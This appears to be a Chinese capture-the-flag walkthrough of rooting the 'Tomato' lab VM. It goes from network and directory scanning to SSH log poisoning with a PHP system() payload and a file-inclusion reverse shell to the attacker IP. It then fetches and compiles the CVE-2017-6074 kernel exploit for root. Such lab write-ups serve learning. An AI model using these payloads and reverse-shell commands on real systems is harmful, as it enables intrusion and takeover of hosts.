TOMATO
2023-02-01 本文已影响0人
Tess鱼丸
一. 网络扫描
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:eb:da:c6, IPv4: 192.168.10.100
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.1 00:50:56:c0:00:08 VMware, Inc.
192.168.10.1 00:50:56:ff:c4:ee VMware, Inc. (DUP: 2)
192.168.10.12 00:0c:29:bd:58:5d VMware, Inc.
192.168.10.254 00:50:56:fa:e3:28 VMware, Inc.
二、靶机端口扫描
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.10.12
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-30 08:04 EST
Nmap scan report for 192.168.10.10
Host is up (0.00066s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
2211/tcp open emwin
8888/tcp open sun-answerbook
MAC Address: 00:0C:29:BD:58:5D (VMware)
┌──(root㉿kali)-[~]
└─# nmap -p21,80,2211,8888 -A 192.168.10.12
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-30 08:07 EST
Nmap scan report for 192.168.10.10
Host is up (0.00026s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Tomato
|_http-server-header: Apache/2.4.18 (Ubuntu)
2211/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:53:0a:91:8c:f1:a6:10:11:0d:9e:0f:22:f8:49:8e (RSA)
| 256 b3:12:60:32:48:28:eb:ac:80:de:17:d7:96:77:6e:2f (ECDSA)
|_ 256 36:6f:52:ad:fe:f7:92:3e:a2:51:0f:73:06:8d:80:13 (ED25519)
8888/tcp open http nginx 1.10.3 (Ubuntu)
|_http-title: 401 Authorization Required
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Private Property
|_http-server-header: nginx/1.10.3 (Ubuntu)
MAC Address: 00:0C:29:BD:58:5D (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.26 ms 192.168.10.12
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.63 seconds
三、Web信息收集
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.10.12 -f -e html.php.txt
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: html.php.txt | HTTP method: GET | Threads: 30 | Wordlist size: 13612
Output File: /root/.dirsearch/reports/192.168.10.12/_23-01-30_08-13-44.txt
Error Log: /root/.dirsearch/logs/errors-23-01-30_08-13-44.log
Target: http://192.168.10.12/
[08:13:44] Starting:
[08:13:45] 403 - 278B - /.ht_wsr.txt
[08:13:45] 403 - 278B - /.htaccess.save
[08:13:45] 403 - 278B - /.htaccess_orig
[08:13:45] 403 - 278B - /.htaccess.bak1
[08:13:45] 403 - 278B - /.htaccess.orig
[08:13:45] 403 - 278B - /.htaccess.sample
[08:13:45] 403 - 278B - /.htaccess_extra
[08:13:45] 403 - 278B - /.htaccessOLD2
[08:13:45] 403 - 278B - /.htaccess_sc
[08:13:45] 403 - 278B - /.htm
[08:13:45] 403 - 278B - /.htaccessOLD
[08:13:45] 403 - 278B - /.html
[08:13:45] 403 - 278B - /.htpasswds
[08:13:45] 403 - 278B - /.httr-oauth
[08:13:45] 403 - 278B - /.htpasswd_test
[08:13:45] 403 - 278B - /.php
[08:13:45] 403 - 278B - /.php3
[08:13:45] 403 - 278B - /.htaccessBAK
[08:13:59] 403 - 278B - /icons/
[08:14:00] 200 - 652B - /index.html
[08:14:08] 403 - 278B - /server-status
[08:14:08] 403 - 278B - /server-status/
发现隐藏目录
┌──(root㉿kali)-[~]
└─# apt install seclists
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成
下列【新】软件包将被安装：
seclists
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.10.12 -w /usr/share/seclists/Discovery/Web-Content/common.txt
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 4713
Output File: /root/.dirsearch/reports/192.168.10.12/_23-01-30_08-26-17.txt
Error Log: /root/.dirsearch/logs/errors-23-01-30_08-26-17.log
Target: http://192.168.10.12/
[08:26:17] Starting:
[08:26:18] 301 - 322B - /antibot_image -> http://192.168.10.12/antibot_image/
[08:26:20] 200 - 652B - /index.html
[08:26:24] 403 - 278B - /server-status
Task Completed
发现info.php中存在（文件包含漏洞）
┌──(root㉿kali)-[~]
└─# ssh '<?php system($_GET['shell']);?>'@192.168.10.12
<?php system($_GET[shell]);?>@192.168.10.12's password:
Permission denied, please try again.
<?php system($_GET[shell]);?>@192.168.10.12's password:
Permission denied, please try again.
<?php system($_GET[shell]);?>@192.168.10.12's password:
<?php system($_GET[shell]);?>@192.168.10.12: Permission denied (publickey,password).
这样'<?php system($_GET['shell']); ?>'该用户就会被记录到ssh的日志中去
开启nc监听
nc -lvnp 3388
构建反弹shell
http://192.168.10.12/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&shell=php -r '$sock=fsockopen("192.168.10.100",3388);exec("/bin/sh -i <&3 >&3 2>&3");'
编码后
http://192.168.10.12/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&shell=php+-r+%27%24sock%3dfsockopen(%22192.168.10.100%22%2c3388)%3bexec(%22%2fbin%2fsh+-i+%3c%263+%3e%263+2%3e%263%22)%3b%27
访问URL，成功反弹shell
┌──(root㉿kali)-[~]
└─# nc -lvnp 3388
listening on [any] 3388 ...
connect to [192.168.10.100] from (UNKNOWN) [192.168.10.10] 57358
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$
3、提权
首先建立可交互式shell，
python3 -c "import pty;pty.spawn('/bin/bash')"
查看linux内核版本，
uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
找这个版本的exp，
编译后上传到目标主机，但是编译后的文件上传到本机执行会报./CVE-2017-6074: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found，无法执行，
解决办法是需要把.c原文件传到靶机里再编译后执行，
就拿到了root权限。
$
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/html/antibot_image/antibots$
www-data@ubuntu:/var/www/html/antibot_image/antibots$ cd /tmp
www-data@ubuntu:/tmp$ wget http://192.168.10.100:8000/CVE-2017-6074.c
wget http://192.168.10.100:8000/CVE-2017-6074.c
--2023-02-01 11:05:53-- http://192.168.10.100:8000/CVE-2017-6074.c
Connecting to 192.168.10.100:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16554 (16K) [text/x-csrc]
Saving to: 'CVE-2017-6074.c'
CVE-2017-6074.c 100%[===================>] 16.17K --.-KB/s in 0s
2023-02-01 11:05:53 (34.7 MB/s) - 'CVE-2017-6074.c' saved [16554/16554]
www-data@ubuntu:/tmp$
www-data@ubuntu:/tmp$ gcc CVE-2017-6074.c
gcc CVE-2017-6074.c
www-data@ubuntu:/tmp$ ./a.out
./a.out
[.] namespace sandbox setup successfully
[.] disabling SMEP & SMAP
[.] scheduling 0xffffffff81064560(0x406e0)
[.] waiting for the timer to execute
[.] done
[.] SMEP & SMAP should be off now
[.] getting root
[.] executing 0x402043
[.] done
[.] should be root now
[.] checking if we got root
[+] got r00t ^_^
[!] don t kill the exploit binary, the kernel will crash
root@ubuntu:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/tmp# whoami
whoami
root
root@ubuntu:/tmp# cd ~
cd ~
root@ubuntu:/root# ls
ls
0 gcc glibc-2.34 proof.txt
root@ubuntu:/root# cat proof.txt
cat proof.txt
Sun_CSR_TEAM_TOMATO_JS_0232xx23
root@ubuntu:/root#
